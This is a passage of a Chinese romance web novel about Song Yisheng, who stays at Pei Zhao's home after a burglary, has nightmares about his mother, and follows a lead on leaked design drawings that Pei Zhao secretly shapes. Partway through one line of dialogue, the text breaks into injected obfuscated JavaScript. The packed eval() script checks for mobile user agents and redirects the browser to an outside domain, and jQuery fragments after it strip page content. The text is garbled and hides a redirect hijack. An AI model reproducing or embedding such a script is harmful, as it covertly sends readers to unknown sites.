裴兆收拾设备的动作一顿,他像是不经意地随手往下拽了拽宋意生搭在身上的毯子,遮住又露出一截的小腿,才道:“那很好,工地可以复工了。”
城市的路灯映在积雨的窗上,投在墙面,裴兆的影子正笼罩着他握着杯子的手。
宋意生别过脸,喝了口热梨汤,梨的甜味微微混着一丝中药的苦,在舌尖慢慢化开。
裴兆望着对方发红的耳尖,看着宋意生整个人团缩在米白的绒毯里,终于敢在暴雨声中轻轻呼了口气。
落地窗上的水痕蜿蜒成河,却挡不住屋子里的暖意。
两个影子在地毯上挨得很近,膝头几乎要碰着膝头,在暴雨撞出的噼里啪啦的声响里,安静得像是怕惊醒了什么一般。
.
窗外的雨断断续续地下了半个月。
宋意生缩在裴兆家客房的床上,听着淅淅沥沥的雨点不断敲打着玻璃窗,接连不断的声响刺得人心烦意乱。
灯已经关了,房间里黑漆漆的,他半睁着眼睛,目光涣散地盯着天花板发呆。
警方关于住所失窃的笔录始终没有消息,而令宋意生感到害怕的,是他竟然渐渐开始习惯了现在的生活。
说来奇怪,明明该是寄人篱下的日子,但每天早上睁开眼,闻到厨房里隐隐飘来的香味,洗澡前烘热的毛巾,餐桌上变着花样准备的点心,都让他不自觉地开始沉溺下去。
天花板在黑暗中泛着模糊的影子,像罩了一层灰蒙蒙的纱。
宋意生摸索着抓起枕边的手机,屏幕亮起的瞬间刺得他下意识地眯起了眼。
快三点了。
雨还在下,水珠顺着屋檐啪嗒啪嗒地砸在空调外机上,一下一下,又像砸在他的心里。
他明知道这样下去不是办法,可身体却总比大脑诚实,贪恋着这份被人捧在手心的妥帖,先一步投了降。
......
凌晨三点,一道雷声在黑暗中劈开雨幕,宋意生瑟缩了一下,在混沌的梦里猛地一抖。
梦中的那个场景再一次出现,母亲背对着他站在天台边缘,风将她灰蓝色的睡衣掀得鼓起,撕裂的喊声尖锐而凄厉:“你要逼死我吗!”
宋意生拼命往前扑,却发现自己的双腿像被定住一般,怎么也迈不动步子,只能眼睁睁地看着母亲的身体慢慢向后仰倒......
“不!不要!” 他惊叫着弹坐起来,胸口剧烈起伏,冷汗把睡衣黏在背上,心跳快得像是要撞出来。
他摸索着想去按床头的灯,动作却在触碰到开关的瞬间猛地僵住,指尖颤抖着缩回来。
黑暗中,他把自己蜷成更小的一团,膝盖抵着胸口,抖得像是暴风雨中的最后一片树叶。
......
檐角的雨水滴滴答答地敲了整夜,宋意生数着那节奏,直到天边泛起了鱼肚白。
晨光透过窗帘的缝隙洒进来,在他苍白的脸上划出几道银灰色的细线。
门外传来裴兆准备早餐的声音,瓷碗相碰的轻响,咖啡机“噗”的弹出蒸汽,混着煎蛋的油香漫进鼻腔。
这一道道细腻的声音和味道交织在一起,却怎么也盖不住他心头那股挥之不去的压抑。
“昨晚没睡好?”裴兆把冒着热气的粥碗推到他面前,顺手用指背试了试他额头的温度,目光在他眼下浓重的青黑处停留许久,“脸色这么差?”
宋意生垂着眼,手指机械地摩挲着粥碗的边缘,声音低得几乎听不见:“嗯。”
裴兆没再追问,只是往他盘子里又多放了一片烤得恰到好处的吐司。
宋意生盯着牛奶表面上浮着那层薄薄的奶皮,突然开口:“裴兆。”
“嗯?”
“我......”他顿了顿,忽然感觉喉咙像是被堵住了一般,“我想搬回去了。”
裴兆低头切盘里煎蛋的动作一顿,刀叉在瓷盘上发出清脆的碰撞,“警察那边有消息了?”
“没......”宋意生摇头,“就是觉得,总住在你这儿......不合适。”
裴兆放下刀叉,隔着餐桌望过来。
那目光太过直接,让宋意生下意识地移开视线。
“周末吧。”裴兆最终开口,语气平静,“周末我开车帮你搬。”
“不用麻烦你,我自己......”
“不麻烦。”裴兆打断他,“跟我总不至于像个陌生人那么客气。”
宋意生张了张嘴,最终也只是轻轻点了点头。
早餐在沉默中结束,宋意生仓促地把最后一口牛奶喝完,逃也似的出了门。
身后那道目光如影随形,像一道无形的绳索,沉甸甸地追着他的脚步。
.
设计室里弥漫着油墨和咖啡混合的气味,打印机正在吐出最新的CAD图纸,宋意生捏着红笔,在施工图上标注吊顶龙骨的间距。
办公室门被“咣当”一声撞开,程岸连门都没敲就闯了进来,正撞见宋意生对着节点图上一处被放大的阴影皱眉头:“宋儿!”
“怎么了?这么着急。”宋意生伸手压住差点被风掀飞的硫酸纸,一抬头就看见程岸脸上掩饰不住的喜色。
“有线索了!”程岸三步并作两步地冲到桌前,扬着手里的文件夹“啪”的一声磕在宋意生肘边,“城西印刷厂。”
他压着办公桌倾身凑近,又刻意放低声音:“刚打听到个消息,城西那个印刷厂,最近接了不少咱们竞品的单子,我觉得有可能和泄密的事情有关。”
“可靠吗?”宋意生摘下眼镜,揉了揉发酸的眼角。
“八九不离十吧。”程岸随手翻了翻刚刚被他扔在桌上的文件,“听说他们神神秘秘的,非要在夜里赶工,我现在正在托朋友,看看能不能把厂里的监控搞过来。”
宋意生放下红笔,目光在两份并排的文件间来回扫视。
即使是这种微小的希望,在这个时候,也能让他压在心里的大石块稍微减轻几分。
“继续查。”他的声音沉了下来,“查
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609360|172129||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
清楚最近三个月进出过印刷厂的所有人员名单,特别是能接触到版本方案的。”
“再把物流单、人员出入记录、还有行政部的对接邮件都拉出来。”
“明白!”
程岸的手机嗡嗡一响,他没有锁屏的习惯,消息直接弹在屏幕界面。
宋意生低头时恰好看见屏幕上裴兆的名字一闪而过。
程岸慌张地按灭屏幕,把手机收进兜里,转身要走。
几步就到了大门口,离开前又像是想起什么似的,突然折返回来。
“对了......”他挠了挠头,“这消息来得有点巧,我朋友也是喝酒时候随口提的......可能不太全面,但我觉得值得跟。”
宋意生看了他一眼。
程岸笑得假装随意坦荡,但那个落荒而逃的背影,实在把他出卖得干干净净。
·
与此同时,“生息”酒吧二层,裴兆站办公室窗前,望着外面阴沉的天空,指尖摩挲着手里杯垫边缘的毛边。
这张印着宋意生毕业设计的杯垫他已经用了很多年,可即使是日日小心收着,米白色的吸水层依然免不了细微的氧化泛黄,像是他再怎么做也无能为力的挣扎。
手机在掌心震动,裴兆冷着脸接通,电话那头传来带着电流的杂音:“裴总,监控录像搞到了,按照您说的日期,重点排查了前后三天的记录。”
裴兆接收后简单地倍速拖了一遍,直到看到一个带着帽兜的人在夜色里搬着纸箱走向货车,放大箱角露出图纸的材质排版,与宋意生给酒吧项目所使用的风格别无二致。
裴兆捏着鼠标的手微微用力,塑料边缘在掌心留下一道的压痕。
他犹豫两秒,接着拨通了程岸的号码:“程总监,我偶然想起,城西印刷厂我好像还有个朋友,如果有需要的话,可以帮你们联系一下。”
......
雨声愈发绵密,挂掉电话后,裴兆望着窗外的雨幕,嘴角勾起一抹浅浅的弧。
.
下班时,雨下得更大了。
春季的帝市总是这样,连绵的雨把整座城泡在淡青色的茶汤里,连钢筋水泥都泛着潮气。
宋意生站在写字楼的落地窗内,望着外面被雨水冲刷得模糊不清的城市轮廓。
雨在台阶下汇成细流,倒映着对面商场的霓虹招牌。
公司大楼的休息区恰好播到那首孙燕姿的《雨天》,前奏响起的瞬间,宋意生望着窗外城市的街景,记忆忽然被拉回五年前。
那时候也是一年的梅雨季,他和裴兆在宿舍楼下躲雨,裴兆把外套披在他头上,自己却站在雨里笑,发梢滴下的水顺着脖颈滑进领口,自己淋得湿透,却依然说:“宋宋怕冷,我不怕。”
“嗡嗡......”
手机在兜里震动,拉回他发散的思绪,宋意生掏出来看,锁屏上跳出一条裴兆发来的新消息:“我在你公司楼下,一起吃晚饭?”
“地下车库B2,老位置。”